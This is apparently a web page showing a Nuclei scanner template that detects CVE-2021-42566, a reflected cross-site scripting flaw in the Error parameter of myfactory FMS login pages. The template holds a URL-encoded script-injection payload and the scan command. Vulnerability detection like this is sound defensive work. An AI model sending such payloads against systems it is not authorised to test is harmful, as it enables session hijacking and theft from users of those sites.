myfactory FMS - Cross-Site Scripting
ID: CVE-2021-42566
Severity: medium
Author: madrobot
Tags: cve2021,cve,myfactory,xss
Description
Section titled “Description”myfactory.FMS before 7.1-912 allows cross-site scripting via the Error parameter.
YAML Source
Section titled “YAML Source”id: CVE-2021-42566
info: name: myfactory FMS - Cross-Site Scripting author: madrobot severity: medium description: myfactory.FMS before 7.1-912 allows cross-site scripting via the Error parameter. impact: | Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of a victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information. remediation: | Upgrade to the latest version to mitigate this vulnerability. reference: - https://nvd.nist.gov/vuln/detail/CVE-2021-42566 - https://www.redteam-pentesting.de/en/advisories/rt-sa-2021-001/-cross-site-scripting-in-myfactory-fms - https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-42566 - https://www.redteam-pentesting.de/advisories/rt-sa-2021-001 - https://github.com/ARPSyndicate/cvemon classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2021-42566 cwe-id: CWE-79 epss-score: 0.00106 epss-percentile: 0.43259 cpe: cpe:2.3:a:myfactory:fms:*:*:*:*:*:*:*:* metadata: max-request: 2 vendor: myfactory product: fms tags: cve2021,cve,myfactory,xss
http: - method: GET path: - '{{BaseURL}}/ie50/system/login/SysLoginUser.aspx?Login=Error&Error=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' - '{{BaseURL}}/system/login/SysLoginUser.aspx?Login=Error&Error=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
matchers-condition: and matchers: - type: word part: body words: - "</script><script>alert(document.domain)</script>" condition: and
- type: word part: header words: - "text/html"
- type: status status: - 200# digest: 490a0046304402200ed80fab4cf8e04c54b6d62ec07526032dd0f3d518fc92547b5ee187e29e0afd0220665f4ac32a487d512c0c7d972c4347196e0a83474ecde750bae24086c5fe9630:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-42566.yaml"